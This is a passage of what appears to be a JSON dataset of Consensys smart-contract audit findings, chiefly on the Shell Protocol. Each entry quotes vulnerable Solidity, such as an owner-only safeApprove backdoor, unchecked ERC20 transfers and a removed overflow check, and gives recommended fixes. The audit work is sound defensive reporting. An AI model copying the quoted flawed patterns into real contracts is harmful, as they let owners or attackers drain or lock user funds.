<= type(uint32).max); Sometimes these checks use <=, sometimes they use <. Recommendation type(T).max is inclusive, i.e., it is the greatest number that can be represented with type T. Strictly speaking, it can and should therefore be used consistently with <= instead of <. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/03/notional-protocol-v2.1/"}, {"title": "2.3 mathematical mistake in comment ", "body": " Description In nTokenSupply.sol, there is a comment explaining why 18 decimal places for the accumulation precision is a good choice. There is a minor mistake in the calculation. It does not invalidate the reasoning, but as it is confusing for a reader, we recommend correcting it. code-582dc37/contracts/internal/nToken/nTokenSupply.sol:L85-L88 // If we use 18 decimal places as the accumulation precision then we will overflow uint128 when // a single nToken has accumulated 3.4 x 10^20 NOTE tokens. This isn't possible since the max // NOTE that can accumulate is 10^17 (100 million NOTE in 1e8 precision) so we should be safe // using 18 decimal places and uint128 storage slot 100 million NOTE in 1e8 precision is 10^16. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/03/notional-protocol-v2.1/"}, {"title": "6.1 Unexpected response in an assimilator s external call can lock-up the whole system ", "body": " Resolution Comment from the development team: When this was brought to our attention, it made the most sense to look at it from a bird s eye view. In the event that an assimilator does seize up either due to smart contract malfunctioning or to some type of governance decision in one of our dependencies, then depending on the severity of the event, it could either make it so that that particular dependency is unable to be transacted with or it could brick the pool altogether. In the case of the latter severity where the pool is bricked altogether for an extended period of time, then this means the end of that particular pool s life. In this case, we find it prudent to allow for the withdrawal of any asset still functional from the pool. Should such an event transpire, we have instituted functionality to allow users to withdraw individually from the pool s assets according to their Shell balances without being exposed to the inertia of the incapacitated assets. In such an event, the owner of the pool can now trigger a partitioned state which is an end of life state for the pool in which users send Shells as normal until they decide to redeem any portion of them, after which they will only be able to redeem the portion of individual asset balances their Shell balance held claims on. Description The assimilators, being the middleware between a shell and all the external DeFi systems it interacts with, perform several external calls within their methods, as would be expected. An example of such a contract is mainnetSUsdToASUsdAssimilator.sol (the contract can be found here). The problem outlined in the title arises from the fact that Solidity automatically checks for the successful execution of the underlying message call (i.e., it bubbles up assertions and reverts) and, therefore, if any of these external systems changes in unexpected ways the call to the shell will revert itself. This problem is immensely magnified by the fact that all the external methods in Loihi dealing with deposits, withdraws, and swaps rebalance the pool and, as a consequence, all of the assimilators for the reserve tokens get called at some point. In summary, if any of the reserve tokens start, for some reason, refusing to complete a call to some of their methods, the whole protocol stops working, and the tokens are locked in forever (this is assuming the development team removes the safeApprove function from Loihi, v. https://github.com/ConsenSys/shell-protocol-audit-2020-06/issues/10). Recommendation There is no easy solution to this problem since calls to these external systems cannot simply be ignored. Shell needs successful responses from the reserve assimilators to be able to function properly. One possible mitigation is to create a trustless mechanism based on repeated misbehavior by an external system to be able to remove a reserve asset from the pool. Such a design could consist of an external function accessible to all actors that needs X confirmations over a period of Y blocks (or days, for that matter) with even spacing between them to be able to remove a reserve asset. This means that no trust to the owners is implied (since this would require the extreme power to take user s tokens) and still maintains the healthy option of being able to remove faulty tokens from the pool. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.2 Certain functions lack input validation routines ", "body": " Resolution Comment from the development team: Now all functions in the Orchestrator revert on incorrect arguments. All functions in Loihi in general revert on incorrect arguments. Description The functions should first check if the passed arguments are valid first. The checks-effects-interactions pattern should be implemented throughout the code. These checks should include, but not be limited to: uint should be larger than 0 when 0 is considered invalid uint should be within constraints int should be positive in some cases length of arrays should match if more arrays are sent as arguments addresses should not be 0x0 Examples The function includeAsset does not do any checks before changing the contract state. src/Loihi.sol:L59-L61 function includeAsset (address _numeraire, address _nAssim, address _reserve, address _rAssim, uint256 _weight) public onlyOwner { shell.includeAsset(_numeraire, _nAssim, _reserve, _rAssim, _weight); The internal function called by the public method includeAsset again doesn t check any of the data. src/Controller.sol:L77-L97 function includeAsset (Shells.Shell storage shell, address _numeraire, address _numeraireAssim, address _reserve, address _reserveAssim, uint256 _weight) internal { Assimilators.Assimilator storage _numeraireAssimilator = shell.assimilators[_numeraire]; _numeraireAssimilator.addr = _numeraireAssim; _numeraireAssimilator.ix = uint8(shell.numeraires.length); shell.numeraires.push(_numeraireAssimilator); Assimilators.Assimilator storage _reserveAssimilator = shell.assimilators[_reserve]; _reserveAssimilator.addr = _reserveAssim; _reserveAssimilator.ix = uint8(shell.reserves.length); shell.reserves.push(_reserveAssimilator); shell.weights.push(_weight.divu(1e18).add(uint256(1).divu(1e18))); Similar with includeAssimilator. src/Loihi.sol:L63-L65 function includeAssimilator (address _numeraire, address _derivative, address _assimilator) public onlyOwner { shell.includeAssimilator(_numeraire, _derivative, _assimilator); Again no checks are done in any function. src/Controller.sol:L99-L106 function includeAssimilator (Shells.Shell storage shell, address _numeraire, address _derivative, address _assimilator) internal { Assimilators.Assimilator storage _numeraireAssim = shell.assimilators[_numeraire]; shell.assimilators[_derivative] = Assimilators.Assimilator(_assimilator, _numeraireAssim.ix); // shell.assimilators[_derivative] = Assimilators.Assimilator(_assimilator, _numeraireAssim.ix, 0, 0); Not only does the administrator functions not have any checks, but also user facing functions do not check the arguments. For example swapByOrigin does not check any of the arguments if you consider it calls MainnetDaiToDaiAssimilator. src/Loihi.sol:L85-L89 function swapByOrigin (address _o, address _t, uint256 _oAmt, uint256 _mTAmt, uint256 _dline) public notFrozen returns (uint256 tAmt_) { return transferByOrigin(_o, _t, _dline, _mTAmt, _oAmt, msg.sender); It calls transferByOrigin and we simplify this example and consider we have _o.ix == _t.ix src/Loihi.sol:L181-L187 function transferByOrigin (address _origin, address _target, uint256 _dline, uint256 _mTAmt, uint256 _oAmt, address _rcpnt) public notFrozen nonReentrant returns (uint256 tAmt_) { Assimilators.Assimilator memory _o = shell.assimilators[_origin]; Assimilators.Assimilator memory _t = shell.assimilators[_target]; // TODO: how to include min target amount if (_o.ix == _t.ix) return _t.addr.outputNumeraire(_rcpnt, _o.addr.intakeRaw(_oAmt)); In which case it can call 2 functions on an assimilatior such as MainnetDaiToDaiAssimilator. The first called function is intakeRaw. src/assimilators/mainnet/daiReserves/mainnetDaiToDaiAssimilator.sol:L42-L49 // transfers raw amonut of dai in, wraps it in cDai, returns numeraire amount function intakeRaw (uint256 _amount) public returns (int128 amount_, int128 balance_) { dai.transferFrom(msg.sender, address(this), _amount); amount_ = _amount.divu(1e18); And its result is used in outputNumeraire that again does not have any checks. src/assimilators/mainnet/daiReserves/mainnetDaiToDaiAssimilator.sol:L83-L92 // takes numeraire amount of dai, unwraps corresponding amount of cDai, transfers that out, returns numeraire amount function outputNumeraire (address _dst, int128 _amount) public returns (uint256 amount_) { amount_ = _amount.mulu(1e18); dai.transfer(_dst, amount_); return amount_; Recommendation Implement the checks-effects-interactions as a pattern to write code. Add tests that check if all of the arguments have been validated. Consider checking arguments as an important part of writing code and developing the system. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.3 Remove Loihi methods that can be used as backdoors by the administrator ", "body": " Resolution Issue was partly addressed by the development team. However, the feature to add new assimilators is still present and that ultimately means that the administrators have power to run arbitrary bytecode. Updated remediation response Since the development team still hadn t fully settled on a strategy for a mainnet launch, this was left as a residue even after the audit mitigation phase. However, at launch time, this issue was no longer present and all the assimilators are now defined at deploy-time, it is fully resolved. Description There are several functions in Loihi that give extreme powers to the shell administrator. The most dangerous set of those is the ones granting the capability to add assimilators. Since assimilators are essentially a proxy architecture to delegate code to several different implementations of the same interface, the administrator could, intentionally or unintentionally, deploy malicious or faulty code in the implementation of an assimilator. This means that the administrator is essentially totally trusted to not run code that, for example, drains the whole pool or locks up the users and LPs tokens. In addition to these, the function safeApprove allows the administrator to move any of the tokens the contract holds to any address regardless of the balances any of the users have. This can also be used by the owner as a backdoor to completely drain the contract. src/Loihi.sol:L643-L649 function safeApprove(address _token, address _spender, uint256 _value) public onlyOwner { (bool success, bytes memory returndata) = _token.call(abi.encodeWithSignature(\"approve(address,uint256)\", _spender, _value)); require(success, \"SafeERC20: low-level call failed\"); Recommendation Remove the safeApprove function and, instead, use a trustless escape-hatch mechanism like the one suggested in issue 6.1. For the assimilator addition functions, our recommendation is that they are made completely internal, only callable in the constructor, at deploy time. Even though this is not a big structural change (in fact, it reduces the attack surface), it is, indeed, a feature loss. However, this is the only way to make each shell a time-invariant system. This would not only increase Shell s security but also would greatly improve the trust the users have in the protocol since, after deployment, the code is now static and auditable. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.4 Assimilators should implement an interface ", "body": " Resolution Comment from the development team: They now implement the interface in src/interfaces/IAssimilator.sol . Description The Assimilators are one of the core components within the application. They are used to move the tokens and can be thought of as a middleware between the Shell Protocol application and any other supported tokens. The methods attached to the assimilators are called throughout the application and they are a critical component of the whole system. Because of this fact, it is extremely important that they behave correctly. A suggestion to restrict the possibility of errors when implementing them and when using them is to make all of the assimilators implement a unique specific interface. This way, any deviation would be immediately observed, right when the compilation happens. Examples Consider this example. The user calls swapByOrigin. src/Loihi.sol:L85-L89 function swapByOrigin (address _o, address _t, uint256 _oAmt, uint256 _mTAmt, uint256 _dline) public notFrozen returns (uint256 tAmt_) { return transferByOrigin(_o, _t, _dline, _mTAmt, _oAmt, msg.sender); Which calls transferByOrigin. In transferByOrigin, if the origin index matches the target index, a different execution branch is activated. src/Loihi.sol:L187 if (_o.ix == _t.ix) return _t.addr.outputNumeraire(_rcpnt, _o.addr.intakeRaw(_oAmt)); In this case we need the output of _o.addr.intakeRaw(_oAmt). If we pick a random assimilator and check the implementation, we see the function intakeRaw needs to return the transferred amount. src/assimilators/mainnet/daiReserves/mainnetCDaiToDaiAssimilator.sol:L52-L67 // takes raw cdai amount, transfers it in, calculates corresponding numeraire amount and returns it function intakeRaw (uint256 _amount) public returns (int128 amount_) { bool success = cdai.transferFrom(msg.sender, address(this), _amount); if (!success) revert(\"CDai/transferFrom-failed\"); uint256 _rate = cdai.exchangeRateStored(); _amount = ( _amount * _rate ) / 1e18; cdai.redeemUnderlying(_amount); amount_ = _amount.divu(1e18); However, with other implementations, the returns do not match. In the case of MainnetDaiToDaiAssimilator, it returns 2 values, which will make the Loihi contract work in this case but can misbehave in other cases, or even fail. src/assimilators/mainnet/daiReserves/mainnetDaiToDaiAssimilator.sol:L42-L49 // transfers raw amonut of dai in, wraps it in cDai, returns numeraire amount function intakeRaw (uint256 _amount) public returns (int128 amount_, int128 balance_) { dai.transferFrom(msg.sender, address(this), _amount); amount_ = _amount.divu(1e18); Making all the assimilators implement one unique interface will enforce the functions to look the same from the outside. Recommendation Create a unique interface for the assimilators and make all the contracts implement that interface. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.5 Assimilators do not conform to the ERC20 specification ", "body": " Resolution Comment from the development team: All calls to compliant ERC20s now check for return booleans. Non compliant ERC20s are called with a function that checks for the success of the call. Description The assimilators in the codebase make heavy usage of both the transfer and transferFrom methods in the ERC20 standard. Quoting the relevant parts of the specification of the standard: Transfers _value amount of tokens to address _to, and MUST fire the Transfer event. The function SHOULD throw if the message caller s account balance does not have enough tokens to spend. The transferFrom method is used for a withdraw workflow, allowing contracts to transfer tokens on your behalf. This can be used for example to allow a contract to transfer tokens on your behalf and/or to charge fees in sub-currencies. The function SHOULD throw unless the _from account has deliberately authorized the sender of the message via some mechanism. We can see that, even though it is suggested that ERC20-compliant tokens do throw on the lack of authorization from the sender or lack of funds to complete the transfer, the standard does not enforce it. This means that, in order to make the system both more resilient and future-proof, code in each implementation of current and future assimilators should check for the return value of both transfer and transferFrom call instead of just relying on the external contract to revert execution. The extent of this issue is only mitigated by the fact that new assets are only added by the shell administrator and could, therefore, be audited prior to their addition. Non-exhaustive Examples src/assimilators/mainnet/daiReserves/mainnetDaiToDaiAssimilator.sol:L45 dai.transferFrom(msg.sender, address(this), _amount); src/assimilators/mainnet/daiReserves/mainnetDaiToDaiAssimilator.sol:L64 dai.transfer(_dst, _amount); Recommendation Add a check for the return boolean of the function. Example: require(dai.transferFrom(msg.sender, address(this), _amount) == true); ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.6 Access to assimilators does not check for existence and allows delegation to the zeroth address ", "body": " Resolution Comment from the development team: All retrieval of assimilators now check that the assimilators address is not the zeroth address. Description For every method that allows to selectively withdraw, deposit, or swap tokens in Loihi, the user is allowed to specify addresses for the assimilators of said tokens (by inputting the addresses of the tokens themselves). The shell then performs a lookup on a mapping called assimilators inside its main structure and uses the result of that lookup to delegate call the assimilator deployed by the shell administrator. However, there are no checks for prior instantiation of a specific, supported token, effectively meaning that we can do a lookup on an all-zeroed-out member of that mapping and delegate call execution to the zeroth address. The only thing preventing execution from going forward in this unwanted fashion is the fact that the ABI decoder expects a certain return data size from the interface implemented in Assimilator.sol. For example, the 32 bytes expected as a result of this call: src/Assimilators.sol:L58-L66 function viewNumeraireAmount (address _assim, uint256 _amt) internal returns (int128 amt_) { // amount_ = IAssimilator(_assim).viewNumeraireAmount(_amt); // for production bytes memory data = abi.encodeWithSelector(iAsmltr.viewNumeraireAmount.selector, _amt); // for development amt_ = abi.decode(_assim.delegate(data), (int128)); // for development This is definitely an insufficient check since the interface for the assimilators might change in the future to include functions that have no return values. Recommendation Check for the prior instantiation of assimilators by including the following requirement: require(shell.assimilators[].ix != 0); In all the functions that access the assimilators mapping and change the indexes to be 1-based instead pf 0-based. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.7 Math library s fork has problematic changes ", "body": " Description The math library ABDK Libraries for Solidity was forked and modified to add a few unsafe_* functions. unsafe_add unsafe_sub unsafe_mul unsafe_div unsafe_abs The problem which was introduced is that unsafe_add ironically is not really unsafe, it is as safe as the original add function. It is, in fact, identical to the safe add function. src/ABDKMath64x64.sol:L102-L113 /** Calculate x + y. Revert on overflow. @param x signed 64.64-bit fixed point number @param y signed 64.64-bit fixed point number @return signed 64.64-bit fixed point number / function add (int128 x, int128 y) internal pure returns (int128) { int256 result = int256(x) + y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); src/ABDKMath64x64.sol:L115-L126 /** Calculate x + y. Revert on overflow. @param x signed 64.64-bit fixed point number @param y signed 64.64-bit fixed point number @return signed 64.64-bit fixed point number / function unsafe_add (int128 x, int128 y) internal pure returns (int128) { int256 result = int256(x) + y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); Fortunately, unsafe_add is not used anywhere in the code. However, unsafe_abs was changed from this: src/ABDKMath64x64.sol:L322-L331 /** Calculate |x|. Revert on overflow. @param x signed 64.64-bit fixed point number @return signed 64.64-bit fixed point number / function abs (int128 x) internal pure returns (int128) { require (x != MIN_64x64); return x < 0 ? -x : x; To this: src/ABDKMath64x64.sol:L333-L341 /** Calculate |x|. Revert on overflow. @param x signed 64.64-bit fixed point number @return signed 64.64-bit fixed point number / function unsafe_abs (int128 x) internal pure returns (int128) { return x < 0 ? -x : x; The check that was removed, is actually an important check: require (x != MIN_64x64); src/ABDKMath64x64.sol:L19 int128 private constant MIN_64x64 = -0x80000000000000000000000000000000; The problem is that for an int128 variable that is equal to -0x80000000000000000000000000000000, there is no absolute value within the constraints of int128. Recommendation Remove unused unsafe_* functions and try to find other ways of doing unsafe math (if it is fundamentally important) without changing existing, trusted, already audited code. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.8 Use one file for each contract or library ", "body": " Resolution Issue fixed by the development team. Description The repository contains a lot of contracts and libraries that are added in the same file as another contract or library. Organizing the code in this manner makes it hard to navigate, develop and audit. It is a best practice to have each contract or library in its own file. The file also needs to bear the name of the hosted contract or library. Examples src/Shells.sol:L20 library SafeERC20Arithmetic { src/Shells.sol:L32 library Shells { src/Loihi.sol:L26-L28 contract ERC20Approve { function approve (address spender, uint256 amount) public returns (bool); src/Loihi.sol:L30 contract Loihi is LoihiRoot { src/Assimilators.sol:L19 library Delegate { src/Assimilators.sol:L33 library Assimilators { Recommendation Split up contracts and libraries in single files. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.9 Remove debugging code from the repository ", "body": " Resolution Issue fixed but he development team. Description Throughout the repository, there is source code from the development stage that was used for debugging the functionality and was not removed. This should not be present in the source code and even if they are used while functionality is developed, they should be removed after the functionality was implemented. Examples src/Shells.sol:L63-L67 event log(bytes32); event log_int(bytes32, int256); event log_ints(bytes32, int256[]); event log_uint(bytes32, uint256); event log_uints(bytes32, uint256[]); src/Assimilators.sol:L44-L46 event log(bytes32); event log_uint(bytes32, uint256); event log_int(bytes32, int256); src/Controller.sol:L33-L37 event log(bytes32); event log_int(bytes32, int128); event log_int(bytes32, int); event log_uint(bytes32, uint); event log_addr(bytes32, address); src/LoihiRoot.sol:L53 event log(bytes32); src/Shells.sol:L63-L67 event log(bytes32); event log_int(bytes32, int256); event log_ints(bytes32, int256[]); event log_uint(bytes32, uint256); event log_uints(bytes32, uint256[]); src/Loihi.sol:L470-L474 event log_int(bytes32, int); event log_ints(bytes32, int128[]); event log_uint(bytes32, uint); event log_uints(bytes32, uint[]); event log_addrs(bytes32, address[]); src/assimilators/mainnet/cdaiReserves/mainnetDaiToCDaiAssimilator.sol:L35-L36 event log_uint(bytes32, uint256); event log_int(bytes32, int256); src/assimilators/mainnet/cusdcReserves/mainnetUsdcToCUsdcAssimilator.sol:L38 event log_uint(bytes32, uint256); src/Loihi.sol:L51 shell.testHalts = true; src/LoihiRoot.sol:L79-L83 function setTestHalts (bool _testOrNotToTest) public { shell.testHalts = _testOrNotToTest; src/Shells.sol:L60 bool testHalts; Recommendation Remove the debug functionality at the end of the development cycle of each functionality. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.10 Tests should not fail ", "body": " Resolution Comment from the development team: The failing tests are because we made minute changes to our present model (changes in applying the base fee - epsilon ), so in a sense, rather than failing they just need updating. Many of them are also an artifact of architecting the tests in such a way that they can be run against arbitrary parameter sets - or in different suites . Description The role of the tests should be to make sure the application behaves properly. This should include positive tests (functionality that should be implemented) and negative tests (behavior stopped or limited by the application). The test suite should pass 100% of the tests. After spending time with the development team, we managed to ask for the changes that allowed us to run the tests suite. This revealed that out of the 555 tests, 206 are failing. This staggering number does not allow us to check what the problem is and makes anybody running tests ignore them completely. Tests should be an integral part of the codebase, and they should be considered as important (or even more important) than the code itself. One should be able to recreate the whole codebase by just having the tests. Recommendation Update tests in order for the whole of the test suite to pass. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.11 Remove commented out code from the repository ", "body": " Description Having commented out code increases the cognitive load on an already complex system. Also, it hides the important parts of the system that should get the proper attention, but that attention gets to be diluted. There is no code that is important enough to be left commented out in a repository. Git branching should take care of having different code versions or diffs should show what was before. If there is commented out code, this also has to be maintained; it will be out of date if other parts of the system are changed, and the tests will not pick that up. The main problem is that commented code adds confusion with no real benefit. Code should be code, and comments should be comments. Examples Commented out code should be removed or dealt with in a separate branch that is later included in the master branch. src/Assimilators.sol:L48-L56 function viewRawAmount (address _assim, int128 _amt) internal returns (uint256 amount_) { // amount_ = IAssimilator(_assim).viewRawAmount(_amt); // for production bytes memory data = abi.encodeWithSelector(iAsmltr.viewRawAmount.selector, _amt.abs()); // for development amount_ = abi.decode(_assim.delegate(data), (uint256)); // for development src/Assimilators.sol:L58-L66 function viewNumeraireAmount (address _assim, uint256 _amt) internal returns (int128 amt_) { // amount_ = IAssimilator(_assim).viewNumeraireAmount(_amt); // for production bytes memory data = abi.encodeWithSelector(iAsmltr.viewNumeraireAmount.selector, _amt); // for development amt_ = abi.decode(_assim.delegate(data), (int128)); // for development src/Assimilators.sol:L58-L66 function viewNumeraireAmount (address _assim, uint256 _amt) internal returns (int128 amt_) { // amount_ = IAssimilator(_assim).viewNumeraireAmount(_amt); // for production bytes memory data = abi.encodeWithSelector(iAsmltr.viewNumeraireAmount.selector, _amt); // for development amt_ = abi.decode(_assim.delegate(data), (int128)); // for development src/Controller.sol:L99-L106 function includeAssimilator (Shells.Shell storage shell, address _numeraire, address _derivative, address _assimilator) internal { Assimilators.Assimilator storage _numeraireAssim = shell.assimilators[_numeraire]; shell.assimilators[_derivative] = Assimilators.Assimilator(_assimilator, _numeraireAssim.ix); // shell.assimilators[_derivative] = Assimilators.Assimilator(_assimilator, _numeraireAssim.ix, 0, 0); src/Loihi.sol:L596-L618 function transfer (address _recipient, uint256 _amount) public nonReentrant returns (bool) { // return shell.transfer(_recipient, _amount); function transferFrom (address _sender, address _recipient, uint256 _amount) public nonReentrant returns (bool) { // return shell.transferFrom(_sender, _recipient, _amount); function approve (address _spender, uint256 _amount) public nonReentrant returns (bool success_) { // return shell.approve(_spender, _amount); function increaseAllowance(address _spender, uint256 _addedValue) public returns (bool success_) { // return shell.increaseAllowance(_spender, _addedValue); function decreaseAllowance(address _spender, uint256 _subtractedValue) public returns (bool success_) { // return shell.decreaseAllowance(_spender, _subtractedValue); function balanceOf (address _account) public view returns (uint256) { // return shell.balances[_account]; src/test/deposits/suiteOne.t.sol:L15-L29 // function test_s1_selectiveDeposit_noSlippage_balanced_10DAI_10USDC_10USDT_2p5SUSD_NO_HACK () public logs_gas { // uint256 newShells = super.noSlippage_balanced_10DAI_10USDC_10USDT_2p5SUSD(); // assertEq(newShells, 32499999216641686631); // } // function test_s1_selectiveDeposit_noSlippage_balanced_10DAI_10USDC_10USDT_2p5SUSD_HACK () public logs_gas { // uint256 newShells = super.noSlippage_balanced_10DAI_10USDC_10USDT_2p5SUSD_HACK(); // assertEq(newShells, 32499999216641686631); // } src/test/deposits/depositsTemplate.sol:L40-L56 // function noSlippage_balanced_10DAI_10USDC_10USDT_2p5SUSD_HACK () public returns (uint256 shellsMinted_) { // uint256 startingShells = l.proportionalDeposit(300e18); // uint256 gas = gasleft(); // shellsMinted_ = l.depositHack( // address(dai), 10e18, // address(usdc), 10e6, // address(usdt), 10e6, // address(susd), 2.5e18 // ); // emit log_uint(\"gas for deposit\", gas - gasleft()); // } Recommendation Remove all the commented out code or transform it into comments. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.12 Should check if the asset already exists when adding a new asset ", "body": " Resolution Comment from the development team: We have decided not to have dynamic adding/removing of assets in this release. Description The public function includeAsset src/Loihi.sol:L128-L130 function includeAsset (address _numeraire, address _nAssim, address _reserve, address _rAssim, uint256 _weight) public onlyOwner { shell.includeAsset(_numeraire, _nAssim, _reserve, _rAssim, _weight); Calls the internal includeAsset implementation src/Controller.sol:L72 function includeAsset (Shells.Shell storage shell, address _numeraire, address _numeraireAssim, address _reserve, address _reserveAssim, uint256 _weight) internal { But there is no check to see if the asset already exists in the list. Because the check was not done, shell.numeraires can contain multiple identical instances. src/Controller.sol:L80 shell.numeraires.push(_numeraireAssimilator); Recommendation Check if the _numeraire already exists before invoking includeAsset. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.13 Check return values for both internal and external calls ", "body": " Resolution Comment from the development team: This doesn t seem feasible. Checking how much was transferred to/from the contract would pose unacceptable gas costs. Because of these constraints, the value returned by the assimilator methods never touches the outside world. They are just converted into numeraire format and returned, so checking these values would not provide any previously unknown information. Description There are some cases where functions which return values are called throughout the source code but the return values are not processed, nor checked. The returns should in principle be handled and checked for validity to provide more robustness to the code. Examples The function intakeNumeraire receives a number of tokens and returns how many tokens were transferred to the contract. src/assimilators/mainnet/daiReserves/mainnetDaiToDaiAssimilator.sol:L51-L59 // transfers numeraire amount of dai in, wraps it in cDai, returns raw amount function intakeNumeraire (int128 _amount) public returns (uint256 amount_) { // truncate stray decimals caused by conversion amount_ = _amount.mulu(1e18) / 1e3 * 1e3; dai.transferFrom(msg.sender, address(this), amount_); Similarly, the function outputNumeraire receives a destination address and an amount of token for withdrawal and returns a number of transferred tokens to the specified address. src/assimilators/mainnet/daiReserves/mainnetDaiToDaiAssimilator.sol:L83-L92 // takes numeraire amount of dai, unwraps corresponding amount of cDai, transfers that out, returns numeraire amount function outputNumeraire (address _dst, int128 _amount) public returns (uint256 amount_) { amount_ = _amount.mulu(1e18); dai.transfer(_dst, amount_); return amount_; However, the results are not handled in the main contract. src/Loihi.sol:L497 shell.numeraires[i].addr.intakeNumeraire(_shells.mul(shell.weights[i])); src/Loihi.sol:L509 shell.numeraires[i].addr.intakeNumeraire(_oBals[i].mul(_multiplier)); src/Loihi.sol:L586 shell.reserves[i].addr.outputNumeraire(msg.sender, _oBals[i].mul(_multiplier)); A sanity check can be done to make sure that more than 0 tokens were transferred to the contract. unit intakeAmount = shell.numeraires[i].addr.intakeNumeraire(_shells.mul(shell.weights[i])); require(intakeAmount > 0, \"Must intake a positive number of tokens\"); Recommendation Handle all return values everywhere returns exist and add checks to make sure an expected value was returned. If the return values are never used, consider not returning them at all. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.14 Interfaces do not need to be implemented for the compiler to access their selectors. ", "body": " Resolution Comment from the development team: This is the case for the version we used, solc 0.5.15. Versions 0.5.17 and 0.6.* do not require it. Description In Assimilators.sol the interface for the assimilators is implemented in a state variable constant as an interface to the zeroth address in order to make use of it s selectors. src/Assimilators.sol:L37 IAssimilator constant iAsmltr = IAssimilator(address(0)); This pattern is unneeded since you can reference selectors by using the imported interface directly without any implementation. It hinders both gas costs and readability of the code. Examples Recommendation Delete line 37 in Assimilators.sol and instead of getting selectors through: src/Assimilators.sol:L62 bytes memory data = abi.encodeWithSelector(iAsmltr.viewNumeraireAmount.selector, _amt); // for development use the expression: IAssimilator.viewRawAmount.selector ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.15 Use consistent interfaces for functions in the same group ", "body": " Description In the file Shells.sol, there also is a library that is being used internally for safe adds and subtractions. This library has 2 functions. add which receives 2 arguments, x and y. src/Shells.sol:L22-L24 function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, \"add-overflow\"); sub which receives 3 arguments x, y and _errorMessage. src/Shells.sol:L26-L28 function sub(uint x, uint y, string memory _errorMessage) internal pure returns (uint z) { require((z = x - y) <= x, _errorMessage); In order to reduce the cognitive load on the auditors and developers alike, somehow-related functions should have coherent logic and interfaces. Both of the functions either need to have 2 arguments, with an implied error message passed to require, or both functions need to have 3 arguments, with an error message that can be specified. Recommendation Update the functions to be coherent with other related functions. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.16 Code coverage should be close to 100% ", "body": " Resolution Comment from the development team: This is true for all aspects of the bonding curve. Things that have been tested on Kovan with the frontend dapp but could use a unit test are things relevant to sending shell tokens - issuing approvals, transfers and transferfroms. The adding of assets and assimilators are tested by proxy because they are dependencies for the entire behavior of the bonding surface. For this release, we plan on having the assets and the assimilators frozen at launch, so there is not much to test regarding continuous updating/changing of assets and assimilators. We have, however, considered allowing for the dynamic adjustment of weights in addition to parameters. Description Code coverage is a measure used to describe how much of the source code is executed during the automated test suite. A system with high code coverage, measured as lines of code executed, has a lower chance to contain undiscovered bugs. The codebase does not have any information about the code coverage. Recommendation Make the test suite output code coverage and add more tests to handle the lines of code that are not touched by any tests. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.17 Consider emitting an event when changing the frozen state of the contract ", "body": " Description The function freeze allows the owner to freeze and unfreeze the contract. src/Loihi.sol:L144-L146 function freeze (bool _freeze) public onlyOwner { frozen = _freeze; The common pattern when doing actions important for the outside of the blockchain is to emit an event when the action is successful. It s probably a good idea to emit an event stating the contract was frozen or unfrozen. Recommendation Create an event that displays the current state of the contract. event Frozen(bool frozen); And emit the event when frozen is called. function freeze (bool _freeze) public onlyOwner { frozen = _freeze; emit Frozen(_freeze); ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.18 Function supportsInterface can be restricted to pure ", "body": " Description The function supportsInterface returns a bool stating that the contract supports one of the defined interfaces. src/Loihi.sol:L140-L142 function supportsInterface (bytes4 interfaceID) public returns (bool) { return interfaceID == ERC20ID || interfaceID == ERC165ID; The function does not access or change the state of the contract, this is why it can be restricted to pure. Recommendation Restrict the function definition to pure. function supportsInterface (bytes4 interfaceID) public pure returns (bool) { ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.19 Use more consistent function naming (includeAssimilator / excludeAdapter) ", "body": " Description The function includeAssimilator adds a new assimilator to the list src/Controller.sol:L98 shell.assimilators[_derivative] = Assimilators.Assimilator(_assimilator, _numeraireAssim.ix); The function excludeAdapter removes the specified assimilator from the list src/Loihi.sol:L137 delete shell.assimilators[_assimilator]; Recommendation Consider renaming the function excludeAdapter to removeAssimilator and moving the logic of adding and removing in the same source file. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/06/shell-protocol/"}, {"title": "6.1 zDAO Token - Specification violation - Snapshots are never taken Partially Addressed", "body": " 